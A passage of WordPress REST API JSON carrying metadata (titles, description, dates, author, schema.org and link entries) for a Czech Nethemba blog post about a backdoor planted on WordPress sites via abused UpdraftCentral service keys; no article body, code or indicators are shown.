kontroly.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_locale":"cs_CZ","og_type":"article","og_title":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","og_description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.","og_url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","og_site_name":"Nethemba","article_publisher":"https:\/\/www.facebook.com\/nethemba","article_published_time":"2026-10-19T05:44:03+00:00","article_modified_time":"2026-10-26T03:36:15+00:00","og_image":[{"width":1200,"height":1140,"url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","type":"image\/png"}],"author":"Pavol Lupt\u00e1k","twitter_card":"summary_large_image","twitter_creator":"@nethemba","twitter_site":"@nethemba","twitter_misc":{"Napsal(a)":"Pavol Lupt\u00e1k","Odhadovan\u00e1 doba \u010dten\u00ed":"60 minut"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#article","isPartOf":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"author":{"name":"Pavol Lupt\u00e1k","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234"},"headline":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby","datePublished":"2026-10-19T05:44:03+00:00","dateModified":"2026-10-26T03:36:15+00:00","mainEntityOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"},"wordCount":8681,"commentCount":0,"publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","articleSection":["Uncategorized @cs","Uncategorized @cs"],"inLanguage":"cs","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","url":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/","name":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby - Nethemba","isPartOf":{"@id":"https:\/\/nethemba.com\/de\/#website"},"primaryImageOfPage":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"image":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage"},"thumbnailUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","datePublished":"2026-10-19T05:44:03+00:00","dateModified":"2026-10-26T03:36:15+00:00","description":"\u00dato\u010dn\u00edk zneu\u017eil kl\u00ed\u010de slu\u017eby UpdraftCentral (UpdraftPlus, 4+ mil. instalac\u00ed) a nahr\u00e1l backdoor na weby s WordPressem. Rozbor, IOC a postup kontroly.","breadcrumb":{"@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb"},"inLanguage":"cs","potentialAction":[{"@type":"ReadAction","target":["https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/"]}]},{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#primaryimage","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2026\/10\/updraftcentral-backdoor-cs.png","width":1200,"height":1140},{"@type":"BreadcrumbList","@id":"https:\/\/nethemba.com\/updraftcentral-backdoor-analysis\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/nethemba.com\/"},{"@type":"ListItem","position":2,"name":"Kritick\u00fd bezpe\u010dnostn\u00ed probl\u00e9m UpdraftCentral: \u00fato\u010dn\u00edk s kl\u00ed\u010di slu\u017eby nahr\u00e1l backdoor na na\u0161e weby"}]},{"@type":"WebSite","@id":"https:\/\/nethemba.com\/de\/#website","url":"https:\/\/nethemba.com\/de\/","name":"Nethemba","description":"We care about your security","publisher":{"@id":"https:\/\/nethemba.com\/de\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/nethemba.com\/de\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"cs"},{"@type":"Organization","@id":"https:\/\/nethemba.com\/de\/#organization","name":"Nethemba","url":"https:\/\/nethemba.com\/de\/","logo":{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/","url":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","contentUrl":"https:\/\/nethemba.com\/wp-content\/uploads\/2025\/03\/Logo-UP.png","width":66,"height":70,"caption":"Nethemba"},"image":{"@id":"https:\/\/nethemba.com\/de\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/nethemba","https:\/\/x.com\/nethemba","https:\/\/sk.linkedin.com\/company\/nethemba","https:\/\/www.youtube.com\/@sabretoothatNethemba"]},{"@type":"Person","@id":"https:\/\/nethemba.com\/de\/#\/schema\/person\/5f4ba68c8e1a2013d30e0804245b8234","name":"Pavol Lupt\u00e1k","image":{"@type":"ImageObject","inLanguage":"cs","@id":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/978b23022518d076eaa243b375d2e0272af4f00dd502ce79cc357276d9bc2495?s=96&d=mm&r=g","caption":"Pavol Lupt\u00e1k"},"sameAs":["https:\/\/www.nethemba.com\/"]}]}},"_links":{"self":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/comments?post=9627"}],"version-history":[{"count":39,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627\/revisions"}],"predecessor-version":[{"id":9823,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/posts\/9627\/revisions\/9823"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/media\/9610"}],"wp:attachment":[{"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/media?parent=9627"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/categories?post=9627"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nethemba.com\/cs\/wp-json\/wp\/v2\/tags?post=9627"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}